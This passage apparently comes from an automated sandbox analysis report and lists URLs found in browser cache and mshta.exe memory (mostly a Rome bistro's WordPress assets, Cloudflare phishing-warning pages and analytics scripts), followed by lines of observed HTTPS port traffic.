Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/#/schema/logo/image/
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/#organization
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/#website
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/?lang=en
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/?s=
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/cipasso/
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/comments/feed/
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/contatti/
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/cookies-policy-privacy/
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/curiosita/
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/feed/
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/menu-2/
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/vineria-e-bistrot-al-centro-di-roma-2/
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/vineria-e-bistrot-al-centro-di-roma-2/#breadcrumb
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-admin/admin-ajax.php
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-admin/admin-ajax.php?lang=it
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/plugins/cookie-law-info/legacy/public/css/cookie-law-info-gd
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/plugins/cookie-law-info/legacy/public/css/cookie-law-info-pu
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/plugins/cookie-law-info/legacy/public/js/cookie-law-info-pub
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=6.6.1
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/plugins/sitepress-multilingual-cms/res/flags/en.png
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/plugins/sitepress-multilingual-cms/res/flags/it.png
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-p
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/blog/bl
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttonr
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttons
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/catalog
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/comment
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contact
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/content
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/countdo
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/google_
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/grid_ro
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/heading
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/headlin
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/hr/hr.c
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icon/ic
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconbox
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongri
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconlis
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image/i
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_h
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazin
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/me
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/notific
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/numbers
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfol
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/postsli
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/progres
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/promobo
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/search/
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slidesh
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/social_
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tab_sec
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/table/t
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tabs/ta
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/team/te
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/testimo
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/timelin
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/toggles
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/video/v
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-template-builder/a
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-wpml/wpml-mod.css?ver=4.5
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/config-wpml/wpml-mod.js?ver=4.5
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/css/avia-snippet-lightbox.css?ver=4.5
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/css/avia-snippet-site-preloader.css?ver=6.0.9
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/css/avia-snippet-widget.css?ver=4.5
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/css/base.css?ver=4.5
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/css/custom.css?ver=4.5
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/css/grid.css?ver=4.5
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/css/layout.css?ver=4.5
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/css/shortcodes.css?ver=4.5
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/framework/
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/framework/js/conditional_load/avia_google_maps
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/js/avia-compat.js?ver=4.5
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/js/avia-snippet-lightbox.js?ver=4.5
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/js/avia-snippet-sticky-header.js?ver=4.5
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/js/avia-snippet-widget.js?ver=4.5
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/js/avia.js?ver=4.5
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/js/aviapopup/jquery.magnific-popup.min.js?ver=
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/js/aviapopup/magnific-popup.css?ver=4.5
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/js/html5shiv.js
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/themes/enfold/js/shortcodes.js?ver=4.5
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/05/Cipasso_simbolo3.png
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-180x180.png
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-192x192.png
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-270x270.png
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-32x32.png
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/06/1.png
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/06/2.png
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/06/3.png
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/06/sfondo_cerchi.png)
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2019/09/MG_4783-67-copia-2.jpg);background-attachmen
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2021/06/CiPASSO-Bistrot-Roma-userci.png
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2021/06/CiPASSO-Home-1030x506.jpg
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2021/06/CiPASSO-Home-1500x630.jpg
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2022/05/49925.jpg
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2022/09/CIPASSO_logo_600.png
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2022/09/CIPASSO_logo_600_nopoff_-300x143.png
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Dettaglio-della-sala-interna-495x400.jpg
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Dettaglio-della-sala-interna-845x684.jpg
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.19.49-845x576.p
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.22.19-845x646.p
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.53-845x675.p
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Servizio-di-sala-495x400.jpg
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Servizio-di-sala-845x684.jpg
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Vini-italiani-eccellenti-495x400.jpg
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/2024/08/Vini-italiani-eccellenti-845x684.jpg
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-content/uploads/dynamic_avia/enfold.css?ver=6335ddf9ba942
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-includes/js/jquery/jquery.min.js?ver=3.6.0
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-includes/wlwmanifest.xml
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-json/
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.cipassoitalia.it%2F
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.cipassoitalia.it%2F&#038
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/wp-json/wp/v2/pages/838
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/xmlrpc.php
Source: chromecache_644.1.dr	String found in binary or memory: https://www.cipassoitalia.it/xmlrpc.php?rsd
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9187000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2411657408.000001A0F65F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing...
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F65CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landingnagement/phishing-attack/
Source: chromecache_597.1.dr	String found in binary or memory: https://www.cloudflare.com/favicon.ico
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F65F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2359318810.000001A8FD90D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F65F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/?
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/DB
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F65F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/N
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F65F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/T
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F65F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/dy
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F65F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/~
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.deezer.com/
Source: chromecache_396.1.dr, chromecache_432.1.dr	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: chromecache_605.1.dr, chromecache_499.1.dr	String found in binary or memory: https://www.google-analytics.com/debug/bootstrap?id=
Source: chromecache_605.1.dr, chromecache_499.1.dr	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=
Source: chromecache_605.1.dr, chromecache_499.1.dr	String found in binary or memory: https://www.google.%/ads/ga-audiences
Source: chromecache_605.1.dr, chromecache_499.1.dr	String found in binary or memory: https://www.google.com/ads/ga-audiences
Source: content_new.js.21.dr	String found in binary or memory: https://www.google.com/chrome
Source: chromecache_426.1.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_426.1.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_605.1.dr, chromecache_499.1.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.instagram.com
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.last.fm/
Source: chromecache_576.1.dr, chromecache_477.1.dr	String found in binary or memory: https://www.magictoolbox.com/license/
Source: chromecache_576.1.dr, chromecache_477.1.dr	String found in binary or memory: https://www.magictoolbox.com/magiczoomplus/
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.messenger.com
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.office.com
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.tiktok.com/
Source: chromecache_644.1.dr	String found in binary or memory: https://www.tripadvisor.it/Restaurant_Review-g187791-d14121704-Reviews-CiPASSO-Rome_Lazio.html
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://www.youtube.com
Source: chromecache_535.1.dr, chromecache_381.1.dr	String found in binary or memory: https://www.youtube.com/iframe_api
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://y.music.163.com/m/
Source: chromecache_634.1.dr, chromecache_651.1.dr	String found in binary or memory: https://yastatic.net/s3/gdpr/v3/gdpr
Source: chromecache_634.1.dr, chromecache_651.1.dr	String found in binary or memory: https://yastatic.net/s3/taxi-front/yango-gdpr-popup/
Source: chromecache_634.1.dr, chromecache_651.1.dr	String found in binary or memory: https://ymetrica1.com/watch/3/1
Source: chromecache_644.1.dr	String found in binary or memory: https://yoast.com/wordpress/plugins/seo/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
